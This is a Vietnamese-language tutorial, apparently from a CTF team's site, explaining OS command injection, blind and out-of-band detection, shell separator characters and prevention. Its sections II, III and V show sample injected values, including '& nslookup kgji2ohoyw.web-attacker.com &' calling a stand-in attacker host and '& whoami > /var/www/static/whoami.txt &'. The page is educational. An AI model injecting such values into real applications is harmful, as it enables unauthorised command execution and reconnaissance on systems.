



OS command injection

I. Khái niệm

OS command injection vulnerabilities chỉ loại lỗ hổng cho phép kẻ tấn công "inject" và thực thi tùy ý các câu lệnh tương ứng với hệ điều hành (OS) đang vận hành của hệ thống. Bởi vậy kiểu tấn công này còn có một tên gọi khác là Shell injection. Đây là một trong những lỗ hổng nguy hiểm nhất, thường được đánh giá trong khoảng 9.0–10.0 trong điểm **CVSS**. Vì khi kẻ tấn công thực thi các lệnh shell tại hệ thống sẽ có thể trực tiếp xâm nhập máy chủ, chuyển cuộc tấn công tới các hệ thống khác trong tổ chức.

II. Cách thức tấn công

Kẻ tấn công có thể chèn các ký tự đặc biệt, như dấu **&**, **&&**, **|**, **||** (các dấu phân tách lệnh) hoặc các lệnh shell như **ping**, **whoami**, **nslookup**... để tạo ra chuỗi lệnh tùy ý mà hệ điều hành thực hiện. Mục tiêu có thể là để thu thập thông tin hệ thống, thực thi mã độc, hoặc truy cập trái phép vào dữ liệu.

Ví dụ:

- **URL:** <https://insecure-website.com/stockStatus?productID=381&storeID=29>
- **Lệnh gốc:** [stockreport.pl 381 29](#)
- **Kẻ tấn công chèn:** [& echo aiwefwlguh &](#)
- **Lệnh sau khi chèn:** [stockreport.pl & echo aiwefwlguh & 29](#)

Kết quả là hệ thống sẽ thực hiện lệnh gốc và lệnh chèn của kẻ tấn công.

III. Các ví dụ cụ thể về OS Command Injection

- **Blind Command Injection:** Hệ thống không trả về kết quả trực tiếp cho kẻ tấn công, nhưng có thể sử dụng các kỹ thuật như **ping delay** để đo thời gian phản hồi hoặc dùng phương pháp **OAST** (Out-of-band Application Security Testing) để theo dõi kết nối mạng đến máy chủ của kẻ tấn công.



Ví dụ, sử dụng lệnh: `& ping -c 10 127.0.0.1 &` để tạo độ trễ 10 giây và kiểm tra xem hệ thống có thực hiện lệnh hay không.

- **Out-of-band Exploitation:** Sử dụng lệnh như: `& nslookup kgji2ohoyw.web-attacker.com &` để kích hoạt tra cứu DNS. Nếu kẻ tấn công nhận được yêu cầu DNS từ máy nạn nhân, chứng tỏ lệnh đã được thực thi thành công.
- **Chèn lệnh trong môi trường file:** Kẻ tấn công có thể chuyển kết quả lệnh về dưới dạng tệp mà hệ thống sẽ lưu vào thư mục máy chủ, từ đó truy cập lại qua URL, ví dụ: `& whoami > /var/www/static/whoami.txt &`.

IV. Các loại ký tự và ký tự đặc biệt sử dụng trong OS Command Injection

Kẻ tấn công có thể dùng nhiều loại ký tự shell khác nhau, tùy thuộc vào hệ điều hành:

- Trên cả Windows và Linux: `&`, `&&`, `|`, `||`.
- Chỉ Unix/Linux: `;`, `\n` (new line).
- Ký tự thực thi nội tuyến: ``` hoặc `$()`.

V. Phương pháp phát hiện và khai thác lỗ hổng "Blind" OS Command Injection

- **Time delay:** Dùng lệnh như `ping` để tạo độ trễ thời gian và dựa vào đó phân tích xem lệnh có được thực thi hay không.
- **Output redirection:** Chuyển hướng kết quả của lệnh sang file mà kẻ tấn công có thể truy cập, ví dụ: `whoami > /path/to/file`.
- **Out-of-band interaction:** Kẻ tấn công sử dụng các dịch vụ bên ngoài như DNS hoặc HTTP để gửi kết quả lệnh về máy chủ mà họ kiểm soát.

VI. Cách phòng ngừa OS Command Injection

- **Không sử dụng lệnh hệ điều hành** trong mã ứng dụng khi có các API an toàn hơn.
- **Xác thực đầu vào:** Sử dụng danh sách trắng (whitelist) để giới hạn các giá trị hợp lệ mà người dùng có thể nhập.



- **Giới hạn ký tự:** Đảm bảo rằng đầu vào chỉ chứa các ký tự hợp lệ (như số hoặc chữ cái).
- **Không dựa vào việc escape** các ký tự shell đặc biệt, vì điều này dễ bị lỗi và có thể bị vượt qua bởi các kẻ tấn công.

VII. Phân biệt Code injection và Command injection

Code injection	Command injection
Thuật ngữ chỉ chung các cuộc tấn công chèn code thực thi vào mục tiêu	Chỉ cụ thể việc thực thi các lệnh shell (OS) tương ứng với hệ điều hành tại hệ thống
Payload inject có thể là bất kỳ ngôn ngữ nào như php, Ruby, Python, ...	Payload inject là các lệnh shell như id, whoami, ls, ... và có thể thay đổi với tùy hệ điều hành khác nhau
Kẻ tấn công phần lớn có đặc quyền là root/admin do mã nguồn thường được thực thi với đặc quyền cao	Kẻ tấn công có đặc quyền của ứng dụng bị xâm nhập, ví dụ với ứng dụng web thường mang đặc quyền www-data

VIII. Phân biệt Code injection và Command injection

<https://viblo.asia/p/os-command-injection-vulnerabilities-cac-lo-hong-command-injection-phan-1-BQyJK3KRJMe>

<https://portswigger.net/web-security/os-command-injection#how-to-prevent-os-command-injection-attacks>



Mọi thắc mắc hay ý kiến đóng góp vui lòng liên hệ :

Email : r3dctf.info@gmail.com

@Design by R3D CTF Team